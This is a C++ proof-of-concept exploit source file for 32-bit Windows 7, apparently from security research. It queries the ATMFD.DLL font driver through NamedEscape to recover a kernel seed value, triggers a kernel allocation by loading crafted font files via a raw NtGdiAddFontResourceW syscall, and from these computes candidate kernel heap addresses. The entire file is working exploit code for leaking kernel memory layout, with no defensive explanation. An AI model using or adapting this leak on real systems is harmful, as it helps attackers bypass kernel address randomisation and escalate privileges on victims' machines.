#include <Windows.h>
#include <SubAuth.h>
#include <algorithm>
#include <cstdio>
#include <vector>
#include <set>

typedef INT (WINAPI *fNamedEscape)(HDC, PVOID, INT, INT, PVOID, INT, PVOID);
typedef BOOL(WINAPI *fbMakePathNameW)(LPWSTR, LPCWSTR, LPWSTR, PDWORD);
typedef BOOL(WINAPI *fRtlDosPathNameToNtPathName_U)(PCWSTR, PUNICODE_STRING, PCWSTR *, PVOID);

namespace globals {
  HMODULE hGdi32;
  fNamedEscape NamedEscape;
  fbMakePathNameW bMakePathNameW;

  HMODULE hNtdll;
  fRtlDosPathNameToNtPathName_U RtlDosPathNameToNtPathName_U;
};  // namespace globals

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

DWORD MakeDword(UINT Byte4, UINT Byte3, UINT Byte2, UINT Byte1) {
  return (Byte1 | (Byte2 << 8) | (Byte3 << 16) | (Byte4 << 24));
}

DWORD rol(DWORD x, DWORD n) {
  return (x << n) | (x >> (32 - n));
}

DWORD PartialTransform(DWORD Value) {
  return (Value ^ _byteswap_ulong(Value) ^ 0xA4958CD4);
}

DWORD Transform(DWORD Value) {
  return (PartialTransform(Value) ^ rol(Value, 5));
}

DWORD MallocTransform(DWORD Value, DWORD Address) {
  return rol(Value, 5) ^ Address;
}

DWORD ReverseMallocTransform(DWORD Input, DWORD Output) {
  return rol(Input, 5) ^ Output;
}

DWORD GetSeed() {
  DWORD Buffer[8] = { /* zero padding */ };
  globals::NamedEscape(NULL, L"ATMFD.DLL", 0x2511, sizeof(Buffer), Buffer, sizeof(Buffer), Buffer);
  return Buffer[2];
}

std::vector<DWORD> GetSeedCandidates(BOOL bAfterValues) {
  std::vector<std::vector<DWORD>> Candidates;

  for (UINT Iter = 0; Candidates.empty() || Candidates.size() > 256; Iter++) {
    DWORD Seed = GetSeed();
    DWORD XoredSeed = Seed ^ 0xA4958CD4;
    UINT XoredByte1 = (XoredSeed & 0xff), XoredByte2 = ((XoredSeed >> 8) & 0xff);

    if (Candidates.empty()) {
      // First run, no candidates yet, must generate some initial ones.
      std::vector<std::pair<UINT, UINT>> Byte14Candidates;
      std::vector<std::pair<UINT, UINT>> Byte23Candidates;

      for (UINT x = 0; x < 0x100; x++) {
        for (UINT y = 0; y < 0x100; y++) {
          if ((x ^ y) == XoredByte1) {
            Byte14Candidates.push_back(std::make_pair(x, y));
          }
          if ((x ^ y) == XoredByte2) {
            Byte23Candidates.push_back(std::make_pair(x, y));
          }
        }
      }

      for (auto Byte14 : Byte14Candidates) {
        for (auto Byte23 : Byte23Candidates) {
          std::vector<DWORD> NewCandidate;
          NewCandidate.push_back(MakeDword(Byte14.first, Byte23.first, Byte23.second, Byte14.second));
          Candidates.push_back(NewCandidate);
        }
      }

      printf("[%d] Generated %d candidates.\n", Iter, Candidates.size());
    }
    else {
      UINT PriorCandidates = Candidates.size();

      // Eliminate candidates.
      for (UINT i = 0; i < Candidates.size();) {
        if (PartialTransform(Candidates[i].back()) == Seed) {
          i++;
        }
        else {
          std::swap(Candidates[i], Candidates.back());
          Candidates.pop_back();
        }
      }

      printf("[%d] Reduced candidates from %d to %d.\n", Iter, PriorCandidates, Candidates.size());
    }

    // Transform all current candidates.
    for (UINT i = 0; i < Candidates.size(); i++) {
      Candidates[i].push_back(Transform(Candidates[i].back()));
    }
  }

  std::vector<DWORD> ret;
  for (UINT i = 0; i < Candidates.size(); i++) {
    if (bAfterValues) {
      ret.push_back(Candidates[i].back());
    }
    else {
      ret.push_back(Candidates[i][0]);
    }
  }

  return ret;
}
BOOL CheckKernelAddress(DWORD Address) {
  return ((Address >= 0xf8000000) && ((Address & 0x7) == 0));
  //return ((Address >= 0x80000000) && ((Address & 0x7) == 0));
}

std::vector<DWORD> GetAllocCandidates(const std::vector<DWORD>& BeforeSeeds, const std::vector<DWORD>& AfterSeeds) {
  std::set<DWORD> Candidates;

  for (DWORD BeforeSeed : BeforeSeeds) {
    for (DWORD AfterSeed : AfterSeeds) {
      CONST DWORD Candidate = ReverseMallocTransform(BeforeSeed, AfterSeed);
      if (CheckKernelAddress(Candidate)) {
        Candidates.insert(Candidate - 8);
      }
    }
  }

  std::vector<DWORD> ret;
  for (DWORD Candidate : Candidates) {
    ret.push_back(Candidate);
  }

  return ret;
}

BOOL TriggerMalloc() {
  static WCHAR DosPfmPath[MAX_PATH], DosPfbPath[MAX_PATH];
  static WCHAR NtPfmPath[MAX_PATH], NtPfbPath[MAX_PATH];
  static WCHAR FinalFontPath[MAX_PATH];
  UNICODE_STRING NtPfmPathString = { 0, MAX_PATH * sizeof(WCHAR), NtPfmPath };
  UNICODE_STRING NtPfbPathString = { 0, MAX_PATH * sizeof(WCHAR), NtPfbPath };

  if (!globals::bMakePathNameW(DosPfmPath, L"poc.pfm", NULL, NULL) ||
      !globals::bMakePathNameW(DosPfbPath, L"poc.pfb", NULL, NULL)) {
    return FALSE;
  }

  if (!globals::RtlDosPathNameToNtPathName_U(DosPfmPath, &NtPfmPathString, NULL, NULL) ||
      !globals::RtlDosPathNameToNtPathName_U(DosPfbPath, &NtPfbPathString, NULL, NULL)) {
    return FALSE;
  }

  memcpy(FinalFontPath, NtPfmPathString.Buffer, NtPfmPathString.Length);
  FinalFontPath[NtPfmPathString.Length / sizeof(WCHAR)] = L'|';
  memcpy(&FinalFontPath[(NtPfmPathString.Length / sizeof(WCHAR)) + 1], NtPfbPathString.Buffer, NtPfbPathString.Length);
  FinalFontPath[(NtPfmPathString.Length + NtPfbPathString.Length) / sizeof(WCHAR) + 1] = L'\0';

  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiAddFontResourceW = 0x1002;
  SystemCall32(__NR_NtGdiAddFontResourceW, FinalFontPath, wcslen(FinalFontPath) + 1, 2, 2, 0, NULL);

  return TRUE;
}

BOOL InitImports() {
  globals::hGdi32 = LoadLibrary(L"gdi32.dll");
  if (globals::hGdi32 == NULL) {
    return FALSE;
  }

  globals::NamedEscape = (fNamedEscape)GetProcAddress(globals::hGdi32, "NamedEscape");
  globals::bMakePathNameW = (fbMakePathNameW)GetProcAddress(globals::hGdi32, "bMakePathNameW");
  if (globals::NamedEscape == NULL || globals::bMakePathNameW == NULL) {
    return FALSE;
  }

  globals::hNtdll = GetModuleHandle(L"ntdll.dll");
  if (globals::hNtdll == NULL) {
    return FALSE;
  }

  globals::RtlDosPathNameToNtPathName_U = (fRtlDosPathNameToNtPathName_U)GetProcAddress(globals::hNtdll, "RtlDosPathNameToNtPathName_U");
  if (globals::RtlDosPathNameToNtPathName_U == NULL) {
    return FALSE;
  }

  return TRUE;
}

int main() {
  if (!InitImports()) {
    printf("Unable to resolve necessary imports.\n");
    return 1;
  }

  std::vector<DWORD> BeforeMalloc = GetSeedCandidates(TRUE);
  TriggerMalloc();
  std::vector<DWORD> AfterMalloc = GetSeedCandidates(FALSE);
  
  std::vector<DWORD> AllocCandidates = GetAllocCandidates(BeforeMalloc, AfterMalloc);
  printf("Alloc candidates: %d\n", AllocCandidates.size());
  for (DWORD Candidate : AllocCandidates) {
    printf("  %.8x\n", Candidate);
  }

  return 0;
}